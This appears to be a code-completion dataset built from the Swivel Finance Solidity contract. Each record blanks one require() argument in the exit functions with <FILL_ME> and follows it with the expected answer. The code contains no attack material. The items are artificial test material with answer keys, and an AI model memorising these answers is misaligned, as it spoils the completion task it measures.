{ } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
MarketPlace(marketPlace).p2pVaultExchange(o.underlying,o.maturity,msg.sender,o.maker,a),'vault exchange failed'
199,320
MarketPlace(marketPlace).p2pVaultExchange(o.underlying,o.maturity,msg.sender,o.maker,a)
"compound redemption error"
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.principal, 'taker amount > available volume'); filled[hash] += a; // redeem underlying on Compound and burn cTokens MarketPlace mPlace = MarketPlace(marketPlace); address cTokenAddr = mPlace.cTokenAddress(o.underlying, o.maturity); require(<FILL_ME>) Erc20 uToken = Erc20(o.underlying); // transfer principal-premium back to fixed exit party now that the interest coupon and zcb have been redeemed uint256 premiumFilled = (a * o.premium) / o.principal; Safe.transfer(uToken, o.maker, a - premiumFilled); // transfer premium-fee to floating exit party uint256 fee = premiumFilled / feenominators[3]; Safe.transfer(uToken, msg.sender, premiumFilled - fee); // burn zcTokens + nTokens from o.maker and msg.sender respectively require(mPlace.custodialExit(o.underlying, o.maturity, o.maker, msg.sender, a), 'custodial exit failed'); emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
(CErc20(cTokenAddr).redeemUnderlying(a)==0),"compound redemption error"
199,320
(CErc20(cTokenAddr).redeemUnderlying(a)==0)
'custodial exit failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.principal, 'taker amount > available volume'); filled[hash] += a; // redeem underlying on Compound and burn cTokens MarketPlace mPlace = MarketPlace(marketPlace); address cTokenAddr = mPlace.cTokenAddress(o.underlying, o.maturity); require((CErc20(cTokenAddr).redeemUnderlying(a) == 0), "compound redemption error"); Erc20 uToken = Erc20(o.underlying); // transfer principal-premium back to fixed exit party now that the interest coupon and zcb have been redeemed uint256 premiumFilled = (a * o.premium) / o.principal; Safe.transfer(uToken, o.maker, a - premiumFilled); // transfer premium-fee to floating exit party uint256 fee = premiumFilled / feenominators[3]; Safe.transfer(uToken, msg.sender, premiumFilled - fee); // burn zcTokens + nTokens from o.maker and msg.sender respectively require(<FILL_ME>) emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.custodialExit(o.underlying,o.maturity,o.maker,msg.sender,a),'custodial exit failed'
199,320
mPlace.custodialExit(o.underlying,o.maturity,o.maker,msg.sender,a)
"compound redemption error"
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; // redeem underlying on Compound and burn cTokens MarketPlace mPlace = MarketPlace(marketPlace); address cTokenAddr = mPlace.cTokenAddress(o.underlying, o.maturity); uint256 principalFilled = (a * o.principal) / o.premium; require(<FILL_ME>) Erc20 uToken = Erc20(o.underlying); // transfer principal-premium-fee back to fixed exit party now that the interest coupon and zcb have been redeemed uint256 fee = principalFilled / feenominators[1]; Safe.transfer(uToken, msg.sender, principalFilled - a - fee); Safe.transfer(uToken, o.maker, a); // burn <principalFilled> zcTokens + nTokens from msg.sender and o.maker respectively require(mPlace.custodialExit(o.underlying, o.maturity, msg.sender, o.maker, principalFilled), 'custodial exit failed'); emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
(CErc20(cTokenAddr).redeemUnderlying(principalFilled)==0),"compound redemption error"
199,320
(CErc20(cTokenAddr).redeemUnderlying(principalFilled)==0)
'custodial exit failed'
